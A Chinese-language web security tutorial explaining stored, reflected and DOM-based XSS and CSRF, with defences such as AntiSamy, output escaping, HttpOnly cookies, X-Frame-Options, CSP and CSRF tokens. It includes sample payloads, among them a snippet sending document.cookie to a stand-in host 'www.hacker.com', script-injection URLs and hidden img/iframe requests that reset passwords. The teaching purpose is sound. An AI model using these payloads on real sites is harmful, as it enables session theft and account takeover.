跨站腳本攻擊(XSS)
XSS(Cross Site Scripting),為不和層疊樣式表CSS混淆,故將跨站腳本攻擊縮寫為XSS。
攻擊原理:
惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁面時,嵌入其中的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
XSS攻擊按類型可以分為三種:
- 存儲型XSS
- 反射型XSS
- DOM型XSS
1.1 存儲型XSS
存儲型XSS,顧名思義就是攻擊者上傳的惡意腳本的數據被保存到數據庫中,當頁面渲染的時候如果執行到這段腳本,網站就會被攻擊。
這種攻擊常見於支持用戶保存數據的網站,如論壇發帖、商品評論、用戶私信、留言等功能。
簡單示例1:
一個網站留言欄黑客輸入了如下內容
<script>alert('hello');</script>
如果網站沒做處理,那么所有用戶打開這個網站的留言欄都會彈出hello的一個框,嚴重影響了用戶體驗,甚至還可以竊取cookie。
簡單示例2:
竊取用戶cookie后發送到黑客。直接發送,可能會因為跨域而失敗,可以通過圖片標簽的方式繞過:
(function () {
(new Image()).src = 'http://www.hacker.com/h?c=' +
escape("url=" + document.location.href) +
escape('&cookie=' + document.cookie);
})();
上面的http://www.hacker.com/h是一個controller,可以接收請求並將參數保存。
1.2 反射型XSS
反射型XSS,又稱非持久型XSS,也已代碼沒有被保存到目標網站,而是通過引誘用戶點擊一個惡意鏈接來實施攻擊。
示例:網站有一個功能的實現是將鏈接上參數的內容展示在網頁上。
后端代碼:
@RequestMapping("/reflectxss")
public String reflectxss(String content, ModelMap modelMap){
modelMap.addAttribute("result",content);
return "reflectxss";
}
前端代碼:
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<span th:utext="${result}"></span>
</body>
</html>
如果用戶參數里是一個正常的數據還好,如果是黑客輸入一個js腳本獲取cookie
http://localhost:8080/reflectxss?content=<script>alert(document.cookie)</script>
構建DOM
http://localhost:8080/reflectxss?content=<input type="button" value="登錄"/>
1.3 DOM型XSS
DOM型XSS其實就是一種特殊類型的反射型XSS,它是基於DOM文檔對象模型的一種漏洞,不需要與服務端進行交互。
示例代碼:
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>domxss</title>
</head>
<body>
<title>測試</title>
<div id="mystr"></div>
<script type="text/javascript">
function getQueryString(name) {
var reg=new RegExp("(^|&)"+name+"=([^&]*)(&|$)");
var r=window.location.search.substr(1).match(reg);
if(r!=null){
return decodeURI(r[2]);
}else {
return null;
}
}
document.getElementById("mystr").innerHTML=(getQueryString("domxss"));
</script>
</body>
</html>
它會將鏈接中的參數取出來,然后用innerHtml的方式渲染。
- 注入js腳本,未成功
http://localhost:8080/domxss.html?domxss=<script>alert('abc')</script>
使用innerHtml獲得的JS代碼是不會被執行的,JS只有在頁面初次加載的時候才有效
2. 構造DOM
- 利用img標簽
img標簽的src填一個不存在的圖片,onerror里的腳本會被執行。
1.4 攻擊原理及危害分析
基本實現原理:
- 通過img標簽的src發送數據
- 構造表單誘導用戶輸入賬號密碼
- 構造隱藏的form表單自動提交
- 頁面強制跳轉
- 植入文字鏈接、圖片鏈接
- 構造iframe
- 構造其他HTML標簽
潛在危害:
- 獲取其他用戶的Cookie,冒充身份登錄
- 構造表單誘導用戶輸入賬號密碼,盜取賬密
- 跳轉到其他網站,竊取流量
- 植入廣告、外鏈
- 通過隱藏友鏈提升網站百度權重
1.5 XSS漏洞預防
- 對用戶的輸入進行驗證
包括前端頁面和后端,都需要對用戶輸入進行驗證和限制,包括輸入長度驗證、特殊字符限制。可以使用apache commons text、使用owasp AntiSamy等框架進行字符校驗
使用owasp AntiSamy:
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>1.5.8</version>
</dependency>
public class XSSEncode {
static Policy policy;
static {
String path = XSSEncode.class.getClassLoader().getResource("antisamy-anythinggoes.xml").getFile();
if(path.startsWith("file")){
path=path.substring(6);
}
try {
policy = Policy.getInstance(path);
} catch (PolicyException e) {
e.printStackTrace();
}
}
public static String xssEncode(String value) throws PolicyException, ScanException {
AntiSamy antiSamy=new AntiSamy();
CleanResults results = antiSamy.scan(value, policy);
//返回安全性的html
return results.getCleanHTML();
}
public static void main(String[] args) throws ScanException, PolicyException {
String s = xssEncode("<script>alert22</script>afdsf");
System.out.println(s);
}
}
使用 apache commons-text
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.5</version>
</dependency>
import org.apache.commons.text.StringEscapeUtils;
import org.owasp.validator.html.*;
public class XSSEncode2 {
public static String xssEncode(String value){
// StringEscapeUtils.escapeJson(value);
// StringEscapeUtils.escapeEcmaScript(value);
return StringEscapeUtils.escapeHtml4(value);
}
}
- Cookie防護
將cookie設置為httponly
resp.setHeader("SET-COOKIE","JSESSIONID="+request.getSession().getId()+ "; HttpOnly")
- 設置frame、iframe限制
iframe可以配置三個策略:
- DENY 不允許
- SAMEORIGIN 可在相同域名頁面的iframe中展示
- ALLOW-FROM uri 可在指定頁的frame中展示
nginx中配置:
add_header X-Frame-Options SAMEORIGIN;
filter中配置:
resp.setHeader("x-frame-options","SAMEORIGIN");
- 輸出時轉義
thymeleaf:
<!--非轉義輸出,原樣輸出-->
<td style="background:#FFF; padding: 3px;"
th:utext="${item.content}"></td>
<!--轉義輸出-->
<td style="background:#FFF; padding: 3px;"
th:text="${item.content}"></td>
JSP:
<!--默認true,進行轉義-->
<c:out value=" ${ content }" escapeXml="false" />
- dom型xss避免
避免使用innerHtml、outerHTML、document.write(),應使用textContent、setAttribute;尤其注意onclick、onerror、onload、onmouseover、eval()、setTimeout()、setInterval()
6. 富文本處理
做富文本的展示需求時,應特別注意,事件應該被嚴格禁止,因為富文本的需求里不應該包括事件這種動態效果。富文本過濾中,處理CSS是一件比較麻煩的事情,如果允許用戶自定義CSS、則也可能導致XSS攻擊。比如盡可能的禁止用戶自定義CSS。
有些開源項目實現了對富文本的XSS檢查,Anti-Samy是OWASP上的一個開源項目,也是目前最好的XSS Filter。
1.6 內容安全策略防護
內容安全策略(CSP :Content-Security-Policy)是一個額外的安全層,用於檢測並削弱某些特定類型的攻擊,包括跨站腳本和數據注入攻擊。
CSP通過指定有效域——即瀏覽器認可的可執行腳本的有效來源——使服務器管理者有能力減少或消除XSS攻擊所依賴的載體
CSP的分類:
- Content-Security-Policy 配置好后,不符合的內容資源會被阻止加載
- Content-Security-Policy-Report-Only 僅僅記錄違反限制的行為
配置的地方:
- 可以在http header上
- 可以在HTML上
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only"
content="策略">
配置語法:
示例:
- 限制所有外部資源,都只能從當前域名加載,不包含子域名‘
Content-Security-Policy: default-src 'self'
- 限制所有的外部資源,都只能從當前域名及其*.lagou.com域名加載
Content-Security-Policy: default-src 'self' *.lagou.com
- 圖片可以從任意地方加載,視頻只能從media1.com和media2.com加載,js只能從scripts.lagou.com加載
Content-Security-Policy: default-src 'self'; img-src *;
media-src media1.com media2.com; script-src scripts.lagou.com
- 僅允許從https://onlinebanking.abc.com網站訪問
Content-Security-Policy: default-src https://onlinebanking.abc.com
- 啟用違例報告
Content-Security-Policy: default-src 'self'; report-uri
http://reportcollector.example.com/collector.cgi
1.7 XSS漏洞掃描工具
常見的掃描工具有: Safe3WVS,Burp Suite ,AWVS,AppScan,W3af,
Arachni,Acunetix等
跨站請求偽造(CSRF)
CSRF攻擊的全稱是跨站請求偽造(cross site request forgery)。是一種對網站的惡意利用,聽起來跟XSS有點相似,但事實上CSRF與XSS差別很大。CSRF是通過用戶瀏覽器冒充用戶身份向服務器發起偽造請求。
CSRF攻擊原理:
- 用戶打開瀏覽器,訪問了受信任網站A,並且輸入用戶名密碼登錄了網站A
- 用戶信息通過驗證后,網站A產生了Cookie信息並返回給瀏覽器,此時用戶登錄網站A成功,可以正常發送請求到網站A
- 用戶未退出網站A之前,同一個瀏覽器中又打開一個TAB頁訪問了黑客的網站B
- 網站B收到用戶請求后,返回一些攻擊代碼(調用網站A的接口)
- 瀏覽器接收到攻擊代碼后,在用戶不知情的情況下攜帶Cookie信息,向網站A發出請求。網站A並不知道請求其實是網站B發起的,所以執行了網站B的惡意代碼。
示例:
你以為你訪問黑客的網站只是看了個美女,其實它偷偷把你其他網站A的密碼改了。因為你剛登陸了網站A,所以如果沒有其他驗證的話你的密碼就被改了。
代碼如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>美女圖片</title>
</head>
<body>
<img src="images/801910ac238baefd3271af9d684691f1.jpeg" />
<img src="http://localhost:8080/resetPassword" />
</body>
</html>
攻擊方式:
get請求:
<img src="http://www.study.com/admin/resetPassword?id=1" />
<iframe src="http://www.study.com/admin/resetPassword?id=1"
style='display:none'></iframe>
post請求:
隱藏表單、自動提交,把功能通過iframe引入新頁面
<iframe src="form.html" style='display:none'></iframe>
CSRF安全防護
- referer校驗
校驗referer是否從本網站發起的
- 二次驗證
比如加一些驗證碼,修改密碼的時候需要輸入原密碼等等
- token驗證
用戶訪問正常網站的時候服務器生成一個token,並且給到客戶端。客戶端每次請求都要帶上,校驗通過才行。而你訪問黑客的網站的時候,他拿不到你的token所以不能請求成功。
CRSR掃描工具
CSRFTester是一款CSRF漏洞的測試工具,此工具的測試原理如下:它使用代理抓取瀏覽器中訪問過的連接以及表單等信息,通過在CSRFTester中修改相應的表單等信息,重新提交,相當於一次偽造客戶端請求,如果被測試的請求成功被網站服務器接受,則說明存在CSRF漏洞,否則不存在。此款工具也可以被用來進行CSRF攻擊